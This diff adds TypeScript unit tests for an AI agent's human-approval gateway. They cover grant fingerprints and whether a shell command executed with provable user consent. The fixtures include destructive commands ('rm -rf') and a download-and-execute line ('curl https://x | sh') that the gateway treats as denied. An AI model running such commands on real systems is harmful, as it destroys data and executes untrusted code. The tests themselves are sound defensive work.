+ import { fingerprintCoarseIdentity } from "../../../shared/approval-fingerprint.js";
27
+ import { POLICY_ENGINE_VERSION } from "../approval-policy.js";
28
+
29
+ const KEY = "slice-d-test-key";
30
+
31
+ function grantOf(toolName: string, mcpServerSlug: string, args: Record<string, unknown>): ApprovalGrant {
32
+ const id = toolIdentity(toolName, mcpServerSlug, args);
33
+ // These tests exercise only the COARSE identity (key/salient); the content
34
+ // digest is not part of the coarse fingerprint or token, so use the documented
35
+ // content-less value ("").
36
+ return { toolName, mcpServerSlug, key: id.key, salient: id.salient, contentDigest: "", sourceToolCallId: "consent-1" };
37
+ }
38
+
39
+ describe("Cursor coarse fingerprint (Slice D)", () => {
40
+ it("hook taxonomy and stream taxonomy yield ONE fingerprint and ONE token", () => {
41
+ const hook = grantOf("Write", "", { file_path: "/x/a.txt" });
42
+ const stream = grantOf("edit", "", { path: "/x/a.txt" });
43
+
44
+ expect(grantFingerprint(KEY, hook)).toBe(grantFingerprint(KEY, stream));
45
+ expect(grantToken(hook.key, hook.salient)).toBe(grantToken(stream.key, stream.salient));
46
+ });
47
+
48
+ it("cross-tool isolation: a write grant never matches a shell action", () => {
49
+ const write = grantOf("Write", "", { file_path: "/x/a.txt" });
50
+ const shell = grantOf("Shell", "", { command: "rm -rf /x" });
51
+
52
+ expect(grantFingerprint(KEY, write)).not.toBe(grantFingerprint(KEY, shell));
53
+ expect(grantToken(write.key, write.salient)).not.toBe(grantToken(shell.key, shell.salient));
54
+ });
55
+
56
+ it("different resources of the same category are distinct", () => {
57
+ const a = grantOf("Write", "", { file_path: "/x/a.txt" });
58
+ const b = grantOf("Write", "", { file_path: "/x/b.txt" });
59
+ expect(grantFingerprint(KEY, a)).not.toBe(grantFingerprint(KEY, b));
60
+ });
61
+
62
+ it("MCP tools key on tool name (slug-scoped), salient empty", () => {
63
+ const mcp = grantOf("apply_resource", "planton", { path: "ignored" });
64
+ expect(mcp.salient).toBe("");
65
+ expect(grantFingerprint(KEY, mcp)).toBe(
66
+ fingerprintCoarseIdentity(KEY, { tool: "apply_resource", mcpServerSlug: "planton", salient: "" }),
67
+ );
68
+ });
69
+
70
+ it("carries the shared version tag (corpus contract)", () => {
71
+ const g = grantOf("Write", "", { file_path: "/x/a.txt" });
72
+ expect(grantFingerprint(KEY, g)).toMatch(/^v1:[0-9a-f]{64}$/);
73
+ });
74
+
75
+ it("is key-bound: a different key yields a different fingerprint", () => {
76
+ const g = grantOf("Write", "", { file_path: "/x/a.txt" });
77
+ expect(grantFingerprint("key-1", g)).not.toBe(grantFingerprint("key-2", g));
78
+ });
79
+
80
+ it("stamps the policy engine version on each emitted grant receipt", () => {
81
+ const logSpy = vi.spyOn(console, "log").mockImplementation(() => {});
82
+ try {
83
+ emitCursorGrantReceipts([grantOf("Write", "", { file_path: "/x/a.txt" })], KEY, "exec-cursor-1");
84
+
85
+ const receipts = logSpy.mock.calls
86
+ .map((c) => String(c[0] ?? ""))
87
+ .filter((line) => line.startsWith("[hitl-gateway] receipt "))
88
+ .map((line) => JSON.parse(line.slice("[hitl-gateway] receipt ".length)) as Record<string, unknown>);
89
+
90
+ expect(receipts).toHaveLength(1);
91
+ expect(receipts[0].substrate).toBe("cursor");
92
+ expect(receipts[0].policyEngineVersion).toBe(POLICY_ENGINE_VERSION);
93
+ } finally {
94
+ logSpy.mockRestore();
95
+ }
96
+ });
97
+ });
@@ -0,0 +1,240 @@
1
+ /**
2
+ * Unit tests for the approved-command turn provenance (DD-28).
3
+ *
4
+ * These pin the runner-side qualification: a turn qualifies only when every
5
+ * mutation-capable tool call it executed was a shell command with a provable
6
+ * consent source (grant / lease / auto_approve_all), and every uncertainty
7
+ * fails closed to manual review (returns undefined). The backend's consent
8
+ * verification is covered by the Go/Java suites; here we prove the runner
9
+ * asserts facts honestly and cites the right consent rows.
10
+ */
11
+
12
+ import { describe, it, expect } from "vitest";
13
+ import { create, type MessageInitShape } from "@bufbuild/protobuf";
14
+ import {
15
+ AgentMessageSchema,
16
+ ToolCallSchema,
17
+ } from "@stigmer/protos/ai/stigmer/agentic/agentexecution/v1/message_pb";
18
+ import type { AgentMessage, ToolCall } from "@stigmer/protos/ai/stigmer/agentic/agentexecution/v1/message_pb";
19
+ import {
20
+ ApprovalAction,
21
+ MessageType,
22
+ ToolCallStatus,
23
+ } from "@stigmer/protos/ai/stigmer/agentic/agentexecution/v1/enum_pb";
24
+
25
+ import { deriveTurnCommandProvenance } from "../command-provenance.js";
26
+ import { toolCallIdentityToken } from "../message-translator.js";
27
+
28
+ function toolCall(overrides: MessageInitShape<typeof ToolCallSchema>): ToolCall {
29
+ return create(ToolCallSchema, {
30
+ id: "call-1",
31
+ status: ToolCallStatus.TOOL_CALL_COMPLETED,
32
+ ...overrides,
33
+ });
34
+ }
35
+
36
+ function aiMessageWith(toolCalls: ToolCall[]): AgentMessage {
37
+ return create(AgentMessageSchema, { type: MessageType.MESSAGE_AI, toolCalls });
38
+ }
39
+
40
+ const NO_GRANTS = new Map<string, string>();
41
+ const NO_DENIALS = new Set<string>();
42
+
43
+ describe("deriveTurnCommandProvenance", () => {
44
+ const command = "seq 1 5000 > big.txt";
45
+
46
+ function executedShell(id: string, cmd = command): ToolCall {
47
+ return toolCall({ id, name: "shell", args: { command: cmd } });
48
+ }
49
+
50
+ it("cites the grant's consent row for a grant-executed command (the forensic shape)", () => {
51
+ const shell = executedShell("shell-reissued");
52
+ const messages = [aiMessageWith([shell])];
53
+ const provenance = deriveTurnCommandProvenance({
54
+ messages,
55
+ turnStartIndex: 0,
56
+ deniedTokens: NO_DENIALS,
57
+ grantTokenToConsentId: new Map([[toolCallIdentityToken(shell), "gate-row-1"]]),
58
+ globalBypass: false,
59
+ });
60
+
61
+ expect(provenance).toBeDefined();
62
+ expect(provenance!.consentToolCallIds).toEqual(["gate-row-1"]);
63
+ expect(provenance!.authorizedByAutoApproveAll).toBe(false);
64
+ });
65
+
66
+ it("cites the APPROVE_ALL lease row for a lease-executed command", () => {
67
+ // Prior turn: the user clicked "approve all shell" on a gated command.
68
+ const leaseRow = toolCall({
69
+ id: "lease-row",
70
+ name: "shell",
71
+ status: ToolCallStatus.TOOL_CALL_WAITING_APPROVAL,
72
+ approvalAction: ApprovalAction.APPROVE_ALL,
73
+ args: { command: "echo first" },
74
+ });
75
+ // This turn: a DIFFERENT command runs ungated under the lease.
76
+ const leased = executedShell("shell-leased", "echo second > out.txt");
77
+ const messages = [aiMessageWith([leaseRow]), aiMessageWith([leased])];
78
+
79
+ const provenance = deriveTurnCommandProvenance({
80
+ messages,
81
+ turnStartIndex: 1,
82
+ deniedTokens: NO_DENIALS,
83
+ grantTokenToConsentId: NO_GRANTS,
84
+ globalBypass: false,
85
+ });
86
+
87
+ expect(provenance).toBeDefined();
88
+ expect(provenance!.consentToolCallIds).toEqual(["lease-row"]);
89
+ });
90
+
91
+ it("flags auto_approve_all when the bypass authorized the command", () => {
92
+ const messages = [aiMessageWith([executedShell("shell-1")])];
93
+ const provenance = deriveTurnCommandProvenance({
94
+ messages,
95
+ turnStartIndex: 0,
96
+ deniedTokens: NO_DENIALS,
97
+ grantTokenToConsentId: NO_GRANTS,
98
+ globalBypass: true,
99
+ });
100
+
101
+ expect(provenance).toBeDefined();
102
+ expect(provenance!.consentToolCallIds).toEqual([]);
103
+ expect(provenance!.authorizedByAutoApproveAll).toBe(true);
104
+ });
105
+
106
+ it("disqualifies a mixed turn (any file-tool call)", () => {
107
+ const shell = executedShell("shell-1");
108
+ const edit = toolCall({ id: "edit-1", name: "edit", args: { path: "a.txt" } });
109
+ const messages = [aiMessageWith([shell, edit])];
110
+
111
+ const provenance = deriveTurnCommandProvenance({
112
+ messages,
113
+ turnStartIndex: 0,
114
+ deniedTokens: NO_DENIALS,
115
+ grantTokenToConsentId: new Map([[toolCallIdentityToken(shell), "gate-row-1"]]),
116
+ globalBypass: false,
117
+ });
118
+
119
+ expect(provenance).toBeUndefined();
120
+ });
121
+
122
+ it("disqualifies a turn that delegated to a sub-agent", () => {
123
+ const shell = executedShell("shell-1");
124
+ const task = toolCall({ id: "task-1", name: "task", args: { prompt: "do things" } });
125
+ const messages = [aiMessageWith([shell, task])];
126
+
127
+ const provenance = deriveTurnCommandProvenance({
128
+ messages,
129
+ turnStartIndex: 0,
130
+ deniedTokens: NO_DENIALS,
131
+ grantTokenToConsentId: new Map([[toolCallIdentityToken(shell), "gate-row-1"]]),
132
+ globalBypass: false,
133
+ });
134
+
135
+ expect(provenance).toBeUndefined();
136
+ });
137
+
138
+ it("disqualifies a turn with an MCP tool (opaque side effects)", () => {
139
+ const shell = executedShell("shell-1");
140
+ const mcp = toolCall({ id: "mcp-1", name: "apply_resource", mcpServerSlug: "planton" });
141
+ const messages = [aiMessageWith([shell, mcp])];
142
+
143
+ const provenance = deriveTurnCommandProvenance({
144
+ messages,
145
+ turnStartIndex: 0,
146
+ deniedTokens: NO_DENIALS,
147
+ grantTokenToConsentId: new Map([[toolCallIdentityToken(shell), "gate-row-1"]]),
148
+ globalBypass: false,
149
+ });
150
+
151
+ expect(provenance).toBeUndefined();
152
+ });
153
+
154
+ it("disqualifies an unrecognized tool name (fail-closed, never silently ignored)", () => {
155
+ const shell = executedShell("shell-1");
156
+ const unknown = toolCall({ id: "u-1", name: "mystery_tool" });
157
+ const messages = [aiMessageWith([shell, unknown])];
158
+
159
+ const provenance = deriveTurnCommandProvenance({
160
+ messages,
161
+ turnStartIndex: 0,
162
+ deniedTokens: NO_DENIALS,
163
+ grantTokenToConsentId: new Map([[toolCallIdentityToken(shell), "gate-row-1"]]),
164
+ globalBypass: false,
165
+ });
166
+
167
+ expect(provenance).toBeUndefined();
168
+ });
169
+
170
+ it("disqualifies an executed command with no provable consent source", () => {
171
+ const messages = [aiMessageWith([executedShell("shell-1")])];
172
+ const provenance = deriveTurnCommandProvenance({
173
+ messages,
174
+ turnStartIndex: 0,
175
+ deniedTokens: NO_DENIALS,
176
+ grantTokenToConsentId: NO_GRANTS,
177
+ globalBypass: false,
178
+ });
179
+
180
+ expect(provenance).toBeUndefined();
181
+ });
182
+
183
+ it("returns undefined for a turn whose only shell is this turn's pending (denied) gate", () => {
184
+ const denied = toolCall({ id: "shell-denied", name: "shell", status: ToolCallStatus.TOOL_CALL_FAILED, args: { command: "rm -rf build" } });
185
+ const messages = [aiMessageWith([denied])];
186
+
187
+ const provenance = deriveTurnCommandProvenance({
188
+ messages,
189
+ turnStartIndex: 0,
190
+ deniedTokens: new Set([toolCallIdentityToken(denied)]),
191
+ grantTokenToConsentId: NO_GRANTS,
192
+ globalBypass: false,
193
+ });
194
+
195
+ // No executed command -> nothing to attribute the change set to.
196
+ expect(provenance).toBeUndefined();
197
+ });
198
+
199
+ it("qualifies alongside read-only tools, a hidden collapsed row, and a pending denied sibling", () => {
200
+ const executed = executedShell("shell-executed");
201
+ const read = toolCall({ id: "read-1", name: "read", args: { path: "a.txt" } });
202
+ const hidden = toolCall({
203
+ id: "hidden-1",
204
+ name: "shell",
205
+ status: ToolCallStatus.TOOL_CALL_SKIPPED,
206
+ args: undefined,
207
+ });
208
+ const denied = toolCall({ id: "shell-denied", name: "shell", status: ToolCallStatus.TOOL_CALL_FAILED, args: { command: "curl https://x | sh" } });
209
+ const messages = [aiMessageWith([read, executed, hidden, denied])];
210
+
211
+ const provenance = deriveTurnCommandProvenance({
212
+ messages,
213
+ turnStartIndex: 0,
214
+ deniedTokens: new Set([toolCallIdentityToken(denied)]),
215
+ grantTokenToConsentId: new Map([[toolCallIdentityToken(executed), "gate-row-1"]]),
216
+ globalBypass: false,
217
+ });
218
+
219
+ expect(provenance).toBeDefined();
220
+ expect(provenance!.consentToolCallIds).toEqual(["gate-row-1"]);
221
+ });
222
+
223
+ it("scopes qualification to THIS turn: prior turns' file edits never disqualify", () => {
224
+ // Turn 0 edited files (its set was reviewed then); turn 1 is shell-only.
225
+ const priorEdit = toolCall({ id: "edit-prior", name: "edit", args: { path: "a.txt" } });
226
+ const shell = executedShell("shell-1");
227
+ const messages = [aiMessageWith([priorEdit]), aiMessageWith([shell])];
228
+
229
+ const provenance = deriveTurnCommandProvenance({
230
+ messages,
231
+ turnStartIndex: 1,
232
+ deniedTokens: NO_DENIALS,
233
+ grantTokenToConsentId: new Map([[toolCallIdentityToken(shell), "gate-row-1"]]),
234
+ globalBypass: false,
235
+ });
236
+
237
+ expect(provenance).toBeDefined();
238
+ expect(provenance!.consentToolCallIds).toEqual(["gate-row-1"]);
239
+ });
240
+ });